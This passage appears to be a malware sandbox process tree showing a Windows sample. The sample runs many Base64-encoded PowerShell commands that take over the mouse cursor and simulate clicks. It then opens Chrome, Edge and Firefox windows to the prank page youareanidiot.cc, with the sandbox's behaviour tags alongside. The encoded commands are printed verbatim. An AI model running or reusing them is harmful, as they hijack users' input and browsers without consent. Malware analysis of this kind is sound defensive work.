dAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7604
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7896
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffe701ac728,0x7ffe701ac734,0x7ffe701ac740
        5⤵
        
        PID:7788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6892
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6852
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:6168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      PID:7404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      PID:7560
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7776
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x10c,0x138,0x7ffe701ac728,0x7ffe701ac734,0x7ffe701ac740
        5⤵
        
        PID:7804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      PID:8072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      PID:6724
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7696
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        
        PID:7648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      PID:6788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
